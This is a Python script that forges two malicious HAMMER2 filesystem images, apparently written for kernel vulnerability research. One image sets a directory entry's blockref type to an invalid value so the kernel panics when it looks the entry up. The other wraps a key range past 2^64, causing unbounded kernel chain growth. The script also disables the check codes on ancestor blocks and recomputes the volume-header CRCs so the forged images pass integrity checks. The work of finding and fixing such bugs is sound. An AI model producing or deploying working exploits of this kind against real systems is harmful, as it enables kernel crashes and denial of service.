DF-5784 / forge_df5784.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 | #!/usr/bin/env python3 """ DF-5784 / DF-5785 forger (pass-3, hammer2_chain.c). Base image: newfs_hammer2 -L testvol; one file "f1" (1KB); unmounted. Two crafted variants, both patching the *dirent blockref of f1* living in the PFS root inode block's direct blockset (pfs_blk + 0x200 + k*128): craftA.img (DF-5785) D.type := 0xAA (170, unknown type) -> first lookup that selects this array slot runs hammer2_chain_get() -> hammer2_chain_alloc() raw panic("unrecognized blockref type") (no CRC/check machinery involved for the child; ancestors get methods=0x00 = CHECK_NONE so the edited blocks pass loading). craftB.img (DF-5784) D.key := 0xC000000000000001 D.keybits := 63 -> key + (1<<63) wraps past 2^64: comparator range end (0x4000000000000000) < range beg (0xC000...001). hammer2_chain_cmp now returns -1 ("fully to the left") against every other chain, mis-placing the chain in the parent's rbtree where hammer2_chain_find()'s RB_SCAN prunes it (comp<0 descends RIGHT only) -> every lookup re-creates a duplicate chain from the same media bref -> unbounded hammer2_chain growth; the iteration key_next (key + 1<<keybits) also wraps below key_beg so directory iteration can never pass this entry. Check-code strategy (proven in DF-2616 session): plain XXH64 recompute of ancestor checks mismatches the kernel's coverage, so instead every bref on the crafted path gets methods=0x00 (HAMMER2_CHECK_NONE): testcheck() then returns 1 unconditionally. Only the three volume-header CRC32Cs need recomputation (done on ALL FOUR volhdr copies so any boot-block selection picks up the forge). Path edited: pfs_blk (PFS root inode block, holds f1's DIRENT bref) Covered by: PFS bref in sroot_blk -> methods=0 sroot_blk edit covered by: sroot bref in each volhdr -> methods=0 volhdr edits -> icrc/vcrc recomputed. """ import struct, sys # ---------------- XXH64 (matches xxhash/xxhash.c; not needed for the forge # itself, kept for parity with the DF-2616 rig self-test) ------------------- P1 = 0x9E3779B185EBCA87 P2 = 0xC2B2AE3D27D4EB4F P3 = 0x165667B19E3779F9 P4 = 0x85EBCA77C2B2AE63 P5 = 0x27D4EB2F165667C5 M = (1 << 64) - 1 def _rl(x, r): return ((x << r) | (x >> (64 - r))) & M def _round(acc, val): return (_rl((acc + (val * P2)) & M, 31) * P1) & M def _merge(h, v): return (_rl(h ^ _round(0, v), 27) * P1 + P4) & M def xxh64(data, seed=0): n = len(data); i = 0 if n >= 32: v1 = (seed + P1 + P2) & M v2 = (seed + P2) & M v3 = seed & M v4 = (seed - P1) & M while i + 32 <= n: v1 = _round(v1, int.from_bytes(data[i:i+8], 'little')); i += 8 v2 = _round(v2, int.from_bytes(data[i:i+8], 'little')); i += 8 v3 = _round(v3, int.from_bytes(data[i:i+8], 'little')); i += 8 v4 = _round(v4, int.from_bytes(data[i:i+8], 'little')); i += 8 h = (_rl(v1, 1) + _rl(v2, 7) + _rl(v3, 12) + _rl(v4, 18)) & M for v in (v1, v2, v3, v4): h = _merge(h, v) else: h = (seed + P5) & M h = (h + n) & M while i + 8 <= n: k = (_rl(int.from_bytes(data[i:i+8], 'little') * P2 & M, 31) * P1) & M h = (_rl(h ^ k, 27) * P1 + P4) & M i += 8 if i + 4 <= n: h = (_rl(h ^ ((int.from_bytes(data[i:i+4], 'little') * P1) & M), 23) * P2 + P3) & M i += 4 while i < n: h = (_rl(h ^ ((data[i] * P5) & M), 11) * P1) & M i += 1 h ^= h >> 33; h = (h * P2) & M h ^= h >> 29; h = (h * P3) & M h ^= h >> 32 return h assert xxh64(b"") == 0xEF46DB3751D8E999 # ---------------- CRC32C (matches sys/libkern/icrc32.c) -------------------- def _mk(): poly = 0x82F63B78 t = [] for n in range(256): c = n for _ in range(8): c = (c >> 1) ^ poly if (c & 1) else (c >> 1) t.append(c) return t _T = _mk() def iscsi_crc32(data): crc = 0xFFFFFFFF for b in data: crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8) return crc ^ 0xFFFFFFFF assert iscsi_crc32(b"123456789") == 0xE3069283 # ---------------- hammer2 on-disk constants --------------------------------- MAGIC = 0x48414D3205172011 RADIX_MASK = 0x3F BREF = 128 INODE_DATA_BLOCKSET = 0x200 SET_COUNT = 4 T_EMPTY, T_INODE, T_INDIRECT, T_DATA, T_DIRENT = 0, 1, 2, 3, 4 VOLHDR_STRIDE = 0x40000 CHECK_NONE_METHODS = 0x00 WRAP_KEY = 0xC000000000000001 WRAP_KEYBITS = 63 BAD_TYPE = 0xAA def bref_parse(buf, off): (t, methods, copyid, keybits, vradix, flags) = struct.unpack_from('<6B', buf, off) leaf_count = struct.unpack_from('<H', buf, off + 6)[0] key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8) return dict(type=t, methods=methods, keybits=keybits, key=key, data_off=doff, off=off, leaf_count=leaf_count) def recompute_volhdr_crcs(img, v): c1 = iscsi_crc32(bytes(img[v+512:v+1024])) struct.pack_into('<I', img, v + 0x1E0 + 6 * 4, c1) c0 = iscsi_crc32(bytes(img[v+0:v+508])) struct.pack_into('<I', img, v + 0x1E0 + 7 * 4, c0) cv = iscsi_crc32(bytes(img[v+0:v+0xFFFC])) struct.pack_into('<I', img, v + 0xFFFC, cv) def walk(img): vols = [v for v in range(0, 4 * VOLHDR_STRIDE, VOLHDR_STRIDE) if struct.unpack_from('<Q', img, v)[0] == MAGIC] assert vols, "no volume headers" # sroot bref (per volhdr copy; all must agree on data_off) sroot_bref_offs = [] sroot_blk = None for v in vols: found = None for i in range(SET_COUNT): boff = v + INODE_DATA_BLOCKSET + i * BREF br = bref_parse(img, boff) if br['data_off']: found = boff blk = br['data_off'] & ~RADIX_MASK if sroot_blk is None: sroot_blk = blk assert sroot_blk == blk, "volhdr copies disagree on sroot" break assert found is not None, "no sroot bref in volhdr @%#x" % v sroot_bref_offs.append(found) # PFS inode bref in sroot_blk (the "testvol" PFS root) pfs_boff = None pfs_blk = None for i in range(SET_COUNT): boff = sroot_blk + INODE_DATA_BLOCKSET + i * BREF br = bref_parse(img, boff) if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK): pfs_boff, pfs_blk = boff, br['data_off'] & ~RADIX_MASK break assert pfs_boff is not None, "no PFS inode bref under sroot" # f1's DIRENT bref in the PFS root inode block direct blockset dirent_boff = None for i in range(SET_COUNT): boff = pfs_blk + INODE_DATA_BLOCKSET + i * BREF br = bref_parse(img, boff) print("[walk] pfs_blk+%d: type=%d key=%#018x keybits=%d doff=%#x" % (i, br['type'], br['key'], br['keybits'], br['data_off'])) if br['type'] == T_DIRENT and dirent_boff is None: dirent_boff = boff assert dirent_boff is not None, "no DIRENT bref under PFS root" return vols, sroot_bref_offs, sroot_blk, pfs_boff, pfs_blk, dirent_boff def forge(img, vols, sroot_bref_offs, pfs_boff, dirent_boff, what): # 1. patch the dirent bref itself if what == 'A': struct.pack_into('<B', img, dirent_boff + 0x00, BAD_TYPE) print("[forge A] DIRENT type -> %#x @%#x" % (BAD_TYPE, dirent_boff)) else: struct.pack_into('<Q', img, dirent_boff + 0x08, WRAP_KEY) struct.pack_into('<B', img, dirent_boff + 0x03, WRAP_KEYBITS) print("[forge B] DIRENT key -> %#018x keybits -> %d @%#x" % (WRAP_KEY, WRAP_KEYBITS, dirent_boff)) # 2. ancestors: CHECK_NONE so edited blocks load without check failure struct.pack_into('<B', img, pfs_boff + 0x01, CHECK_NONE_METHODS) for boff in sroot_bref_offs: struct.pack_into('<B', img, boff + 0x01, CHECK_NONE_METHODS) # 3. volhdr CRCs for v in vols: recompute_volhdr_crcs(img, v) return img def main(): base = sys.argv[1] outA, outB = sys.argv[2], sys.argv[3] img = bytearray(open(base, 'rb').read()) vols, sroot_bref_offs, sroot_blk, pfs_boff, pfs_blk, dirent_boff = walk(img) print("[walk] vols=%s sroot_blk=%#x pfs_boff=%#x pfs_blk=%#x dirent=%#x" % ([hex(v) for v in vols], sroot_blk, pfs_boff, pfs_blk, dirent_boff)) open(outA, 'wb').write(bytes(forge(bytearray(img), vols, sroot_bref_offs, pfs_boff, dirent_boff, 'A'))) open(outB, 'wb').write(bytes(forge(bytearray(img), vols, sroot_bref_offs, pfs_boff, dirent_boff, 'B'))) print("FORGE_OK") if __name__ == '__main__': main() |